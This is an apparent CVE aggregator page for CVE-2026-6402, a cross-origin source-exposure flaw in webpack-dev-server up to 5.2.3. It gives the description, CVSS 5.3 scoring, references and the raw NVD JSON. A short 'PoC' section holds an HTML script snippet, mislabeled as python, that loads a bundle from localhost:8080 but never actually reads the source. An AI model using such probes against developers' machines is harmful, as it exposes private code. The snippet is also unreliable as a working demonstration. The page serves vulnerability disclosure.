CVE-2026-6402

Description

webpack-dev-server versions up to and including 5.2.3 are vulnerable to cross-origin source code exposure when serving over a non-potentially trustworthy origin such as plain HTTP. The previous fix relied on the Sec-Fetch-Mode and Sec-Fetch-Site request headers, which browsers omit for non-trustworthy origins, allowing a malicious site to load the bundled source as a script and read it across origins. Impact: an attacker controlling a website visited by a developer running webpack-dev-server can recover the application source code when the dev server runs over HTTP at a guessable host and port. Chromium based browsers from Chrome 142 onward are not affected due to local network access restrictions. Upgrade to webpack-dev-server 5.2.4 or later, which sets Cross-Origin-Resource-Policy: same-origin on responses.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

webpack-dev-server <= 5.2.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-6402 -->
<!-- Attacker's website code -->
<script>
  // Attempt to load source code from a local webpack-dev-server instance
  // This works if the dev server is running on HTTP and uses a guessable port
  var script = document.createElement('script');
  script.src = 'http://localhost:8080/main.js'; // Common default port
  script.onload = function() {
    console.log("Script loaded. Source code may be exposed if the browser allows cross-origin reading.");
  };
  document.head.appendChild(script);
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6402
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6402
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6402/
[4] VulDB https://vuldb.com/cve/CVE-2026-6402
[5] https://cna.openjsf.org/security-advisories.html
[6] https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-79cf-xcqc-c78w

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6402", "sourceIdentifier": "ce714d77-add3-4f53-aff5-83d477b104bb", "published": "2026-05-12T09:16:55.640", "lastModified": "2026-05-12T15:08:22.857", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "webpack-dev-server versions up to and including 5.2.3 are vulnerable to cross-origin source code exposure when serving over a non-potentially trustworthy origin such as plain HTTP. The previous fix relied on the Sec-Fetch-Mode and Sec-Fetch-Site request headers, which browsers omit for non-trustworthy origins, allowing a malicious site to load the bundled source as a script and read it across origins. Impact: an attacker controlling a website visited by a developer running webpack-dev-server can recover the application source code when the dev server runs over HTTP at a guessable host and port. Chromium based browsers from Chrome 142 onward are not affected due to local network access restrictions. Upgrade to webpack-dev-server 5.2.4 or later, which sets Cross-Origin-Resource-Policy: same-origin on responses."}], "metrics": {"cvssMetricV31": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-749"}]}], "references": [{"url": "https://cna.openjsf.org/security-advisories.html", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}, {"url": "https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-79cf-xcqc-c78w", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}]}}